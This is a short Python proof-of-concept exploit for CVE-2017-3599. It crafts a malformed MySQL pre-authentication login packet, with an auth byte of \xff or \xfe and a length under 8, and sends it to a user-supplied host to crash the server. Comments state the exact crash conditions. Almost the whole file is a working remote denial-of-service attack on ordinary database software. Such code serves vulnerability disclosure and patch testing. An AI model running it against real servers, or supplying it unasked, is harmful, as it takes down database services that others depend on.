cve-2017-3599_poc.py

import socket 
import sys
from struct import pack

'''
CVE-2017-3599 Proof of Concept exploit code.

https://www.secforce.com/blog/2017/04/cve-2017-3599-pre-auth-mysql-remote-dos/

Rodrigo Marcos

'''

if len(sys.argv)<2:

	print "Usage: python " + sys.argv[0] + " host [port]"
	exit(0)

else:
	HOST = sys.argv[1]

	if len(sys.argv)>2:
		PORT = int(sys.argv[2]) # Yes, no error checking... living on the wild side!
	else:
		PORT = 3306

print "[+] Creating packet..."

'''
3 bytes		Packet lenth
1 bytes 	Packet number

Login request:

Packet format (when the server is 4.1 or newer):

Bytes       Content
-----       ----
4           client capabilities
4           max packet size
1           charset number
23          reserved (always 0)
n           user name, \0-terminated
n           plugin auth data (e.g. scramble), length encoded
n           database name, \0-terminated
            (if CLIENT_CONNECT_WITH_DB is set in the capabilities)
n           client auth plugin name - \0-terminated string,
            (if CLIENT_PLUGIN_AUTH is set in the capabilities)

'''

# packet_len = '\x64\x00\x00'

packet_num = '\x01'

#Login request packet
packet_cap = '\x85\xa2\xbf\x01'		# client capabilities (default)
packet_max = '\x00\x00\x00\x01'		# max packet size (default)
packet_cset = '\x21'				# charset (default)
p_reserved = '\x00' * 23 			# 23 bytes reserved with nulls (default)
packet_usr =  'test\x00' 			# username null terminated (default)

packet_auth  = '\xff'			# both \xff and \xfe crash the server

'''
Conditions to crash:

1 - packet_auth must start with \xff or \xfe
2 - packet_auth must be shorter than 8 chars

The expected value is the password, which could be of two different formats
(null terminated or length encoded) depending on the client functionality.
'''

packet = packet_cap + packet_max + packet_cset + p_reserved + packet_usr + packet_auth 
packet_len = pack('i',len(packet))[:3]

request = packet_len + packet_num + packet

print "[+] Connecting to host..."
try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((HOST, PORT))
	print "[+] Connected."

except:
	print "[+] Unable to connect to host " + HOST + " on port " + str(PORT) + "."	
	s.close()
	print "[+] Exiting."
	exit(0)

print "[+] Receiving greeting from remote host..."
data = s.recv(1024)
print "[+] Done."

print "[+] Sending our payload..."
s.send(request)
print "[+] Done."
#print "Our data: %r" % request

s.close()